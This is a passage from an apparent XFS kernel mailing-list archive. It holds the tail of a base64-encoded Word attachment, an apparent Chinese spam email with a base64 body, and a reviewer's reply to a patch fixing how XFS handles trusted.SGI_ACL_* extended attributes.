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 AAAOAA4AlAMAAJ1qAAAAAA== ------=_NextPart_000_00BA_0148F6D3.13200130-- From bqq82@sichenyun.com Mon Oct 26 08:51:42 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.6 required=5.0 tests=INVALID_MSGID, UNPARSEABLE_RELAY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AF7667F6D for ; Mon, 26 Oct 2015 08:51:42 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 304F7AC001 for ; Mon, 26 Oct 2015 06:51:38 -0700 (PDT) X-ASG-Debug-ID: 1445867489-04cbb0660e87420001-NocioJ Received: from sichenyun.com ([103.196.153.18]) by cuda.sgi.com with SMTP id EjLpeFwOr6oETF9n for ; Mon, 26 Oct 2015 06:51:29 -0700 (PDT) X-Barracuda-Envelope-From: bqq82@sichenyun.com X-Barracuda-Apparent-Source-IP: 103.196.153.18 Received: from [221.172.25.199]; Mon, 26 Oct 2015 21:57:58 +0800 Date: Mon, 26 Oct 2015 21:51:36 +0800 From: "bqq82" Reply-To: mcliziming@163.com To: "xfs" Subject: =?GB2312?B?sdy/qsa9zKjIurei0a/FzLXDtb2439bKwb/Rr8XM?= Message-ID: <201510262151366257270@sichenyun.com > X-ASG-Orig-Subj: =?GB2312?B?sdy/qsa9zKjIurei0a/FzLXDtb2439bKwb/Rr8XM?= X-Mailer: Foxmail 6, 10, 201, 20 [cn] MIME-Version: 1.0 Content-Type: text/plain; charset="GB2312" Content-Transfer-Encoding: base64 X-Barracuda-Connect: UNKNOWN[103.196.153.18] X-Barracuda-Start-Time: 1445867489 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.11 X-Barracuda-Spam-Status: No, SCORE=0.11 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=INVALID_MSGID, RDNS_NONE, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23827 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines 0.01 INVALID_MSGID Message-Id is not valid, according to RFC 2822 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS MaGi0rvM7MvRy/fJz83yvNLQ0NK1xNrGpcXkv827p9PKz+SjrLDvxPq/qreitb1CMkKhotW5u+HJ z9P2sru1vbXE08XWyr/Nu6ehow0KMqGiuN/Qp9PKvP7Tqs/6o6yw78T6u/G1w7j8tuDSu7bU0ru4 39bKwb/TxdbKv827p9Gvxcyhow0KM6GiyMPT0NDox/O1xL/Nu6fWqrXAxOOjrNG4y9mzyb270rvQ qbyx0OjH87/Nu6ehow0KNKGiMjTQocqxsru85LbPytPGtc3GueOjrLLu0uy7r9Oqz/q4+MT6tcTN +NW+tPjAtLj8tuC1xMH3wb+how0KNaGiuPe5+rvG0rOhotDQ0rW/zbunye62yM3avvKjrLLJubrQ xc+iv+zL2bLJvK+how0KK1EtLVGjujIwMzYwMTk1MTnD4rfRzqrE+tHdyr65psTc0tS8sNCnufuh ow== From bfoster@redhat.com Mon Oct 26 09:02:12 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1A0AF7F6D for ; Mon, 26 Oct 2015 09:02:12 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id E9F338F8052 for ; Mon, 26 Oct 2015 07:02:08 -0700 (PDT) X-ASG-Debug-ID: 1445868124-04cb6c7b8483460001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id nr470HALneRUvKzn (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Mon, 26 Oct 2015 07:02:05 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id 989F1C0AEE52 for ; Mon, 26 Oct 2015 14:02:04 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-105.bos.redhat.com [10.18.41.105]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9QE24YN020485; Mon, 26 Oct 2015 10:02:04 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 314AF1201AB; Mon, 26 Oct 2015 10:02:03 -0400 (EDT) Date: Mon, 26 Oct 2015 10:02:03 -0400 From: Brian Foster To: Andreas Gruenbacher Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/4] xfs: SGI ACLs: Fix caching and mode setting Message-ID: <20151026140202.GB59738@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 2/4] xfs: SGI ACLs: Fix caching and mode setting References: <1445721369-25679-1-git-send-email-agruenba@redhat.com> <1445721369-25679-3-git-send-email-agruenba@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1445721369-25679-3-git-send-email-agruenba@redhat.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445868125 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Sat, Oct 24, 2015 at 11:16:07PM +0200, Andreas Gruenbacher wrote: > POSIX ACLs on XFS are exposed as system.posix_acl_* as well as > trusted.SGI_ACL_*. Setting the system attributes updates inode->i_mode, > inode->i_acl, and inode->i_default_acl as it should, but setting the trusted > attributes does not do that. Fix that by adding xattr handlers for the two > trusted.SGI_ACL_* attributes. > > The handlers must be installed before the trusted.* xattr handler in > xfs_xattr_handlers to take effect. > > Other than before, trusted.SGI_ACL_* attribute values are now verified and > cannot be set to invalid values anymore. Access to those attributes is still > limited to users capable of CAP_SYS_ADMIN, while the system.posix_acl_* > attributes can be read by anyone and set by the file owner. > We should probably point out that the SGI_ACL_* xattrs are effectively how ACLs are stored in XFS, thus direct usage expects the value to be in valid on-disk format. 